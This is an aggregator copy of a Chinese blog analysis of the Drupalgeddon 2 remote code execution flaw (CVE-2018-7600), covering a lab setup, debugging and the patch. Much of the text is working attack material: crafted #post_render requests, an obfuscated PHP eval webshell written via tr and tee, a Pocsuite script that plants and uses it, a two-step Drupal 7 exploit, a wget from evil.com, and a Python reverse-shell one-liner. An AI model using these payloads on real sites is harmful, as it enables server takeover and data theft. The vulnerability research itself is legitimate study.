6

Drupal Drupalgeddon 2远程代码执行漏洞分析

 3 years ago
source link: http://ultramangaia.github.io/blog/2018/Drupal-Drupalgeddon-2-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-CVE-2018-7600.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

版本: drupal 8.5.0

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

docker一键搭建

版本: drupal 8.5.0

搭建完后,访问http://yourip:8080 一路默认安装,数据库选sqlite。

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: yourip:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Connection: close
Upgrade-Insecure-Requests: 1

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

看到成功执行命令id

为了便于分析,给docker里面装上xdebug,由于是内网,再加上端口转发来进行远程调试。

注意关键点为X-Forwarded-For: your vps ip

漏洞分析环境配置

(此配置较通用,与分析无关,可跳过)

sudo docker exec -it your_container_id /bin/bash

然后,常规操作,这是后面写的大概流程,

wget https://xdebug.org/files/xdebug-2.6.0.tgz
tar zxvf xdebug-2.6.0.tgz
cd xdebug-2.6.0
phpize
./configure
make
make install

然后,找不到php.ini,查看phpinfo 页面发现并没有加载这么个文件,github上找对应版本的php.ini-development 复制到指定目录下(这里可以通过phpinfo页面看到),重命名为php.ini。在这个docker里,目录是在/usr/local/etc/php

添加xdebug的配置。

[Xdebug]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so
xdebug.auto_trace = On
xdebug.show_execption_trace = On
xdebug.show_local_vars = On
xdebug.remote_autostart = On
xdebug.remote_enable = On
xdebug.remote_connect_back = 1
xdebug.collect_vars = On
xdebug.collect_params = On

xdebug.remote_handler = "dbgp"
xdebug.idekey = PHPSTORM
xdebug.remote_port = 9000
xdebug.remote_host = 0.0.0.0

然后,重启apache

service apache2 restart

重新start容器。

到这里,xdebug应该就配置完成了。

外网服务器,假设ip为118.99.64.123
内网主机,127.0.0.1

外网服务器
./nb -listen 9000 8000

内网主机
nb.exe  -slave 118.99.64.123:8000 127.0.0.1:9000

PHP Storm

打开源码项目,开启listen,下个断点

访问时,cookie(或其他位置)添加XDEBUG_SESSION=PHPSTORM

添加header 如下X-Forwarded-For: 118.99.64.123

OK,可以愉快地远程调试了。

漏洞分析正文

输入的变量是#开头的数组,进入渲染函数。跟进去

这个引擎对于特定的标签会调用一些敏感函数。

#access_callback
Used by Drupal to determine whether or not the current user has access to an element.
#pre_render
Manipulates the render array before rendering.
#lazy_builder
Used to add elements in the very end of the rendering process.
#post_render
Receives the result of the rendering process and adds wrappers around it.

如,#post_render满足条件时会调用call_user_func

可以看到,调用的函数和参数都是可以控制的。所以存在命令执行。

之前疑惑为什么echo "123">1.php不能达到重定向到文件的效果,原因是,中间经过了xss filter,将<和>编码了。而,使用wget http://evil.com/attack.txt -O 1.php 是可以的。

可以看到已经被编码了。

xss filter只能给代码执行带来阻碍。

组合echotrtee命令。

tr命令进行凯撒加解密(其实用base64也是可以的)

# echo '<?php eval($_POST[c]);' | tr "0-z" ".-x|"
:=nfn ct_j($]NMQRYa[)9
# echo '<?php eval($_POST[c]);' | tr "0-z" ".-x|"|tr ".-x" "0-z"
<?php eval($_POST[c]);

tee 写入文件中。

所以,构造post的data如下

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=system&mail[#type]=markup&mail[#markup]= echo ':=nfn ct_j($]NMQRYa[)9' | tr '.-x' '0-z'|tee 1.php

即可写入webshell。

diffs

看到添加了一个RequestSanitizer.php

对get、post、cookie进行过滤

若是数组递归地进行过滤

POC/EXP

写了个Pocsuite的POC

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import random
import string
from collections import OrderedDict

from pocsuite.api.request import req #用法和 requests 完全相同
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase

proxies = {"http":"http://127.0.0.1:8080"}

class TestPOC(POCBase):
    vulID = '97207'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1' #默认为1
    author = 'Gaia' #  PoC作者的大名
    vulDate = '2018-03-29' #漏洞公开的时间,不知道就写今天
    createDate = '2018-04-14'# 编写 PoC 的日期
    updateDate = '2018-04-14'# PoC 更新的时间,默认和编写时间一样
    references = ['https://research.checkpoint.com/uncovering-drupalgeddon-2/']# 漏洞地址来源,0day不用写
    name = 'Drupal Drupalgeddon 2 远程代码执行漏洞'# PoC 名称
    appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址
    appName = 'Drupal'# 漏洞应用名称
    appVersion = '<7.58, 8.x<8.3.9, 8.4.x<8.4.6, 8.5.x<8.5.1'# 漏洞影响版本
    vulType = 'Remote Code Execution'#漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
    Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞
     ''' # 漏洞简要描述
    samples = []# 测试样列,就是用 PoC 测试成功的网站
    install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写

    def _attack(self):
        result = {}
        vul_url = '%s/user/register?element_parents=account/mail/%%23value&ajax_form=1&_wrapper_format=drupal_ajax' % self.url
        cmd = "echo ':=nfn ct_j($]NMQRYa[)9' | tr '.-x' '0-z'|tee 1.php"
        payload = {"form_id":"user_register_form"
        ,"_drupal_ajax":"1"
        ,"mail[#post_render][]":"exec"
        ,"mail[#type]":"markup"
        ,"mail[#markup]":cmd}

        # if not self._verify(verify=False):
        #     return self.parse_attack(result)

        # print urllib.urlencode(payload)
        response = req.post(vul_url, data=payload,proxies=proxies)
        # response = req.post(vul_url, data=payload)
        # print response.content
        if response.status_code == 200:
            res = req.post(url = self.url+"/1.php",data={"c":"system(\"id\");"},proxies=proxies)
            if "uid" in res.content:
                # print res.content    
                result['ShellInfo'] = {}
                result['ShellInfo']['URL'] = self.url + "/1.php"
                result['ShellInfo']['content'] = '<?php eval($_POST[c]);'

        return self.parse_attack(result)

    def _verify(self, verify=True):
        result = {}
        vul_url = '%s/user/register?element_parents=account/mail/%%23value&ajax_form=1&_wrapper_format=drupal_ajax' % self.url
        cmd = "id"
        payload = {"form_id":"user_register_form"
        ,"_drupal_ajax":"1"
        ,"mail[#post_render][]":"exec"
        ,"mail[#type]":"markup"
        ,"mail[#markup]":cmd}


        response = req.post(vul_url, data=payload,proxies=proxies).content
        # response = req.post(vul_url, data=payload).content
        if 'uid' in response:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Payload'] = urllib.urlencode(payload)
        else:
            return self.parse_attack(result)

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)

版本: drupal 7.5.6

360春秋杯的题目,给了个drupal 7.5.6的Ubuntu 16.04虚拟机。

此漏洞的代码执行主要在

#access_callback
Used by Drupal to determine whether or not the current user has access to an element.
#pre_render
Manipulates the render array before rendering.
#lazy_builder
Used to add elements in the very end of the rendering process.
#post_render
Receives the result of the rendering process and adds wrappers around it.

渲染引擎对这几个标签的处理上是会调用如call_user_func

如,#post_render满足条件时会调用call_user_func

drupal调用链比较复杂。

尝试搜索renderRoot 发现找不到,因为drupal 8 加入了更多的面向对象的元素。

尝试搜索post_render

容易看出最终调用的地方在这里。

drupal/includes/common.inc

接下来就需要找一个合适的入口点了。

一直找不到,直到找到一个地方,

在重置用户密码处,将提交表单的请求信息缓存进数据库,

然后,在另外一个调用中将其取出,在这时触发代码执行。

drupal/includes/common.inc

可以看到取出的参数,用于后面的

$function($elements['#children'], $elements);

导致代码执行。

漏洞思路分两步

  • 请求,得到cache form id
  • 通过cache form id触发代码执行
#!/usr/bin/env python3

import requests
import re

HOST="http://192.168.1.230/drupal/"

cmd = 'id'
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)

# print r.content
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(HOST, data=post_params, params=get_params)
    print(r.text)

只需修改cmd = 'id'

cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"your_ip_addr\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

注意替换ip地址,反弹shell就ok。

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600

https://research.checkpoint.com/uncovering-drupalgeddon-2/

https://paper.seebug.org/567/

https://github.com/FireFart/CVE-2018-7600


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK